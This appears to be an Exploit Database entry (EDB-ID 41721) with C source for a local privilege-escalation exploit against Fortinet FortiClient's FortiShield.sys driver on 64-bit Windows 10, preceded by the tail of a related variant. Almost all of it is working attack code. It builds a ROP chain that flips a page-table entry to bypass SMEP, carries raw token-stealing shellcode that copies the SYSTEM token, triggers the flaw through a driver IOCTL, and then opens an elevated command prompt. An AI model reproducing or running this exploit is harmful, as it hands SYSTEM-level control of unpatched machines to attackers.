if (hThread == NULL)
{
printf("[!] Error while calling CreateThread: %d\n", GetLastError());
return 1;
}
hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
if (hThread_priority == 0)
{
printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
return 1;
}
printf("[+] Press ENTER to trigger the vulnerability again.\n");
getchar();
ResumeThread(hThread);
triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
WaitForSingleObject(hThread, INFINITE);
printf("\n");
system("start cmd.exe");
DeleteObject(bitmaps.manager_bitmap);
DeleteObject(bitmaps.worker_bitmap);
return 0;
}
Exploit Database EDB-ID : 41721
Publication date : 2017-03-24 23h00 +00:00
Author : sickness
EDB Verified : Yes
/*
Check this out:
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
Tested on:
- Windows 10 Pro x64 (Pre-Anniversary)
- hal.dll: 10.0.10240.16384
- FortiShield.sys: 5.2.3.633
Thanks to master @ryujin and @ronin for helping out.
*/
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>
#pragma comment (lib,"psapi")
ULONGLONG get_pxe_address_64(ULONGLONG address) {
ULONGLONG result = address >> 9;
result = result | 0xFFFFF68000000000;
result = result & 0xFFFFF6FFFFFFFFF8;
return result;
}
LPVOID GetBaseAddr(char *drvname) {
LPVOID drivers[1024];
DWORD cbNeeded;
int nDrivers, i = 0;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
char szDrivers[1024];
nDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < nDrivers; i++) {
if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
//printf("%s (%p)\n", szDrivers, drivers[i]);
if (strcmp(szDrivers, drvname) == 0) {
//printf("%s (%p)\n", szDrivers, drivers[i]);
return drivers[i];
}
}
}
}
return 0;
}
DWORD trigger_callback() {
printf("[+] Creating dummy file\n");
system("echo test > test.txt");
printf("[+] Calling MoveFileEx()\n");
BOOL MFEresult;
MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
if (MFEresult == 0)
{
printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
return 1;
}
return 0;
}
int main() {
HANDLE forti;
forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (forti == INVALID_HANDLE_VALUE) {
printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
return 1;
}
LPVOID hal_base = GetBaseAddr("hal.dll");
LPVOID fortishield_base = GetBaseAddr("FortiShield.sys");
ULONGLONG va_pte = get_pxe_address_64(0x0000000048000000);
ULONGLONG hal_pivot = (ULONGLONG)hal_base + 0x6bf0;
ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150;
ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73;
printf("[+] HAL.dll found at: %llx\n", (ULONGLONG)hal_base);
printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base);
printf("[+] PTE virtual address at: %llx\n", va_pte);
DWORD IoControlCode = 0x220028;
ULONGLONG InputBuffer = hal_pivot;
DWORD InputBufferLength = 0x8;
ULONGLONG OutputBuffer = 0x0;
DWORD OutputBufferLength = 0x0;
DWORD lpBytesReturned;
HANDLE pid;
pid = GetCurrentProcess();
ULONGLONG allocate_address = 0x0000000047FF016F;
LPVOID allocate_shellcode;
allocate_shellcode = VirtualAlloc((LPVOID*)allocate_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (allocate_shellcode == NULL) {
printf("[!] Error while allocating shellcode: %d\n", GetLastError());
return 1;
}
char *shellcode;
DWORD shellcode_size = 0x12000;
ULONGLONG rop_01 = (ULONGLONG)hal_base + 0x668e; // pop rdx; ret
ULONGLONG rop_02 = 0x0000000000000063; // DIRTY + ACCESSED + R/W + PRESENT
ULONGLONG rop_03 = (ULONGLONG)hal_base + 0x987e; // pop rax; ret
ULONGLONG rop_04 = va_pte;
ULONGLONG rop_05 = (ULONGLONG)hal_base + 0xe2cc; // mov byte ptr [rax], dl; ret
ULONGLONG rop_06 = (ULONGLONG)hal_base + 0x15a50; // wbinvd; ret
ULONGLONG rop_07 = allocate_address + 0x10040;
ULONGLONG rop_08 = fortishield_callback;
ULONGLONG rop_09 = fortishield_restore;
//;kd> dt -r1 nt!_TEB
//; +0x110 SystemReserved1 : [54] Ptr64 Void
//;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly)
//kd> u nt!PsGetCurrentProcess
//nt!PsGetCurrentProcess:
//mov rax,qword ptr gs:[188h]
//mov rax,qword ptr [rax+0B8h]
// TOKEN STEALING & RESTORE
// start:
// mov rdx, [gs:0x188]
// mov r8, [rdx+0x0b8]
// mov r9, [r8+0x2f0]
// mov rcx, [r9]
// find_system_proc:
// mov rdx, [rcx-0x8]
// cmp rdx, 4
// jz found_it
// mov rcx, [rcx]
// cmp rcx, r9
// jnz find_system_proc
// found_it:
// mov rax, [rcx+0x68]
// and al, 0x0f0
// mov [r8+0x358], rax
// restore:
// mov rbp, qword ptr [rsp+0x80]
// xor rbx, rbx
// mov [rbp], rbx
// mov rbp, qword ptr [rsp+0x88]
// mov rax, rsi
// mov rsp, rax
// sub rsp, 0x20
// jmp rbp
char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8"
"\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09"
"\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09"
"\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89"
"\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00"
"\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00"
"\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5";
shellcode = (char *)malloc(shellcode_size);
memset(shellcode, 0x41, shellcode_size);
memcpy(shellcode + 0x10008, &rop_01, 0x08);
memcpy(shellcode + 0x10010, &rop_02, 0x08);
memcpy(shellcode + 0x10018, &rop_03, 0x08);
memcpy(shellcode + 0x10020, &rop_04, 0x08);
memcpy(shellcode + 0x10028, &rop_05, 0x08);
memcpy(shellcode + 0x10030, &rop_06, 0x08);
memcpy(shellcode + 0x10038, &rop_07, 0x08);
memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal));
memcpy(shellcode + 0x100C0, &rop_08, 0x08);
memcpy(shellcode + 0x100C8, &rop_09, 0x08);
BOOL WPMresult;
SIZE_T written;
WPMresult = WriteProcessMemory(pid, (LPVOID)allocate_address, shellcode, shellcode_size, &written);
if (WPMresult == 0)
{
printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
return 1;
}
HANDLE hThread;
LPDWORD hThread_id = 0;
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, 0, hThread_id);
if (hThread == NULL)
{
printf("[!] Error while calling CreateThread: %d\n", GetLastError());
return 1;
}
BOOL hThread_priority;
hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
if (hThread_priority == 0)
{
printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
return 1;
}
BOOL triggerIOCTL;
triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
WaitForSingleObject(hThread, INFINITE);
system("start cmd.exe");
return 0;
}
Products Mentioned
Configuraton 0
Fortinet>>Forticlient >> Version To (including) 5.2.3
References